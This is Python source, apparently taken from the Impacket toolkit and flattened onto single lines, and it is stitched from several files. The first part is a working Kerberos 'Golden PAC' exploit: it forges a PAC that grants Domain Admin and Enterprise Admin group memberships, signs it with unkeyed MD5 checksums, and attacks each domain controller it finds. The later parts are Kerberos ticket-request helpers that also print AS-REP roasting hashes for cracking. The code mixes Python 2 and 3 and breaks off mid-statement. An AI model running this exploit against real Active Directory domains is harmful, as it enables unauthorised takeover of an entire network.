kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents() validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = str(pacClientInfo) pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = '\x00'*16 serverChecksumBlob = str(serverChecksum) serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = '\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = '\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = '\x00'*16 privSvrChecksumBlob = str(privSvrChecksum) privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str( privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str( pacClientInfo) + pacClientInfoAlignment buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = str(pacType) # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff) #privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff) # If you want to do MD4, ucomment this #serverChecksum['Signature'] = MD4.new(blobToChecksum).digest() #privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest() # If you want to do MD5, ucomment this serverChecksum['Signature'] = MD5.new(blobToChecksum).digest() privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest() buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment pacType['Buffers'] = buffers + buffersTail authorizationData = AuthorizationData() authorizationData[0] = None authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) authorizationData[0]['ad-data'] = str(pacType) return encoder.encode(authorizationData) def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime): # Get out Golden PAC goldenPAC = self.getGoldenPAC(authTime) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT ifRelevant = AD_IF_RELEVANT() ifRelevant[0] = None ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value) ifRelevant[0]['ad-data'] = goldenPAC encodedIfRelevant = encoder.encode(ifRelevant) # Key Usage 4 # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with # the TGS session key (Section 5.4.1) encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None) tgsReq = TGS_REQ() reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) seq_set_iter(reqBody, 'etype', (cipher.enctype,)) reqBody['enc-authorization-data'] = None reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = None tgsReq['padata'][0] = None tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = False encodedPacRequest = encoder.encode(pacRequest) tgsReq['padata'][1] = None tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) tgsReq['padata'][1]['padata-value'] = encodedPacRequest message = encoder.encode(tgsReq) r = sendReceive(message, domain, kdcHost) # Get the session key tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue'])) return r, cipher, sessionKey, newSessionKey def getForestSid(self): logging.debug('Calling NRPC DsrGetDcNameEx()') stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_NRPC) resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) forestName = resp['DomainControllerInfo']['DnsForestName'][:-1] logging.debug('DNS Forest name is %s' % forestName) dce.disconnect() logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(MSRPC_UUID_LSAT) resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) dce.disconnect() forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() logging.info("Forest SID: %s"% forestSid) return forestSid def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers def getUserSID(self): stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain) domainId = resp['DomainId'] resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId) domainHandle = resp['DomainHandle'] resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,)) # Let's pick the relative ID rid = resp['RelativeIds']['Element'][0]['Data'] logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid)) return domainId, rid def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception, e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) continue else: exception = str(e) break else: exception = str(e) break # So, we have the TGT, now extract the new session key and finish asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # If the cypher in use != RC4 there's gotta be a salt for us to use salt = '' if asRep['padata']: for pa in asRep['padata']: if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] salt = str(etype2['salt']) cipherText = asRep['enc-part']['cipher'] # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) if self.__nthash != '': key = Key(cipher.enctype,self.__nthash) else: key = cipher.string_to_key(self.__password, salt, None) plainText = cipher.decrypt(key, 3, str(cipherText)) encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] authTime = encASRepPart['authtime'] serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime) # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey) except KerberosError, e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if self.__lmhash is '' and self.__nthash is '': from impacket.ntlm import compute_lmhash, compute_nthash self.__lmhash = compute_lmhash(self.__password) self.__nthash = compute_nthash(self.__password) else: exception = str(e) break else: exception = str(e) break else: # Everything went well, let's save the ticket if asked and leave if self.__writeTGT is not None: from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile(self.__writeTGT) break
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) # Yes.. this shouldn't happen but it's inherited from the past if aesKey is None: aesKey = '' if nthash == '': # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, # but I found some systems that accepts all ciphers, and trigger an error # when requesting subsequent TGS :(. More research needed. # So, in order to support more than one cypher, I'm setting aes first # since most of the systems would accept it. If we're lucky and # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4. if aesKey != '': if len(aesKey) == 64: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) else: supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),) else: # We have hashes to try, only way is to request RC4 only supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '': supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) else: raise else: raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set preAuth = True try: asRep = decoder.decode(r, asn1Spec = KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] # Yes preAuth = False encryptionTypesData = dict() salt = '' if preAuth is False: # In theory, we should have the right credentials for the etype specified before. methods = asRep['padata'] encryptionTypesData[supportedCiphers[0]] = salt # handle RC4 fallback, we don't need any salt tgt = r else: methods = decoder.decode(asRep['e-data'], asn1Spec=METHOD_DATA())[0] for method in methods: if method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: etypes2 = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO2())[0] for etype2 in etypes2: try: if etype2['salt'] is None or etype2['salt'].hasValue() is False: salt = '' else: salt = etype2['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype2['etype']] = b(salt) elif method['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO.value: etypes = decoder.decode(method['padata-value'], asn1Spec = ETYPE_INFO())[0] for etype in etypes: try: if etype['salt'] is None or etype['salt'].hasValue() is False: salt = '' else: salt = etype['salt'].prettyPrint() except PyAsn1Error: salt = '' encryptionTypesData[etype['etype']] = b(salt) enctype = supportedCiphers[0] cipher = _enctype_table[enctype] # Pass the hash/aes key :P if nthash != '' and (isinstance(nthash, bytes) and nthash != b''): key = Key(cipher.enctype, nthash) elif aesKey != '': key = Key(cipher.enctype, unhexlify(aesKey)) else: key = cipher.string_to_key(password, encryptionTypesData[enctype], None) if preAuth is True: if enctype in encryptionTypesData is False: raise Exception('No Encryption Data Available!') # Let's build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp['patimestamp'] = KerberosTime.to_asn1(now) timeStamp['pausec'] = now.microsecond # Encrypt the shyte encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData['etype'] = cipher.enctype encryptedData['cipher'] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) seq_set_iter(reqBody, 'etype', ( (int(cipher.enctype),))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdcHost) except Exception as e: if str(e).find('KDC_ERR_ETYPE_NOSUPP') >= 0: if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) return getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey, kdcHost, requestPAC) raise asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] # So, we have the TGT, now extract the new session key and finish cipherText = asRep['enc-part']['cipher'] if preAuth is False: # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. LOG.debug('$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'],clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]), hexlify(asRep['enc-part']['cipher'].asOctets()[16:])) ) # Key Usage 3 # AS-REP encrypted part (includes TGS session key or # application session key), encrypted with the client key # (Section 5.4.2) try: plainText = cipher.decrypt(key, 3, cipherText) except InvalidChecksum as e: # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] # Get the session key and the ticket # We're assuming the cipher for this session key is the same # as the one we used before. # ToDo: change this sessionKey = Key(cipher.enctype,encASRepPart['key']['keyvalue'].asOctets()) # ToDo: Check Nonces! return tgt, cipher, key, sessionKey
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split(b'@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: if TGT is None: if TGS is None: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs if TGS is None: serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise else: raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = 